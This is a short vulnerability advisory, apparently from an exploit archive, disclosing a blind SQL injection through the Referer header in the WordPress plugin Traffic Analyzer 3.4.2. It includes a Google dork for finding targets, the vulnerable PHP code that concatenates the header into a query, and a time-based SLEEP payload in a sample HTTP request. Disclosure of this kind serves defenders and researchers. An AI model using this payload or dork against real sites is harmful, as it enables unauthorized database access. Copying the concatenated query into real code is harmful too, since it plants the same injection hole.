WordPress Plugin Traffic Analyzer 3.4.2 – Blind SQL Injection
# Exploit Title: Wordpress plugin 'Traffic Analyzer' Blind SQL Injection # Google Dork: inurl:/plugins/trafficanalyzer/js/ # Date: 4/7/2015 # Exploit Author: Dan King (@fuzztester) # Vendor Homepage: http://wptrafficanalyzer.in/ # Software Link: https://wordpress.org/plugins/trafficanalyzer/ # Version: 3.4.2 # Tested on: Ubuntu 14.10 with Mysql and Wordpress 4.11 [+] Issue [+] The Wordpress plugin "Traffic Analyzer" is vulnerable to a blind SQL injection vulnerability. The application does not properly validate input from the "Referer" HTTP header value. [+] Impact [+] This vulnerability would allow a remote attacker to access the database with the privleges configured by Wordpress. This could also lead to the attack gaining remote access to the webservers filesystem and further compromise the system hosting the Wordpress installation. [+] Details [+] The following section of PHP code is where the vulnerability exists. The $sql variable is a concatenated string intended on being used to insert data into the database. The the variable $referer is not checked for malicious data. From 'class-TrafficAnalyzer.php' line number 297: ###################################################################################### $sql = " insert into $wpdb->prefix"."tanalyzer_pre ( hid,ip, script_name, user_agent, request_uri,resource_type,browser,resource,http_referer,wpta_cookie ) values ". " ('".$hid."'," . " '".$_SERVER["REMOTE_ADDR"]."', ". "'".$_SERVER['SCRIPT_NAME']."', " . " '".$_SERVER["HTTP_USER_AGENT"]."', ". " '". $_SERVER['REQUEST_URI']. "', ". " '".$resource_type."', " . " '".$browser."', " . " '".$resource ."', " . " '".$referer . "', " . " '".$this->wpta_cookie . "'" . " )"; ########################################################################################### [+] Proof of Concept [+] Sending the following HTTP request to a vulnerable site will cause the request to be delayed for 30 seconds. GET /[wordpress path]/ HTTP/1.1 Host: x.x.x.x Referer: BLAH'||(SELECT 'Fdsf' FROM DUAL WHERE 5435=5435 and SLEEP(30) )||' |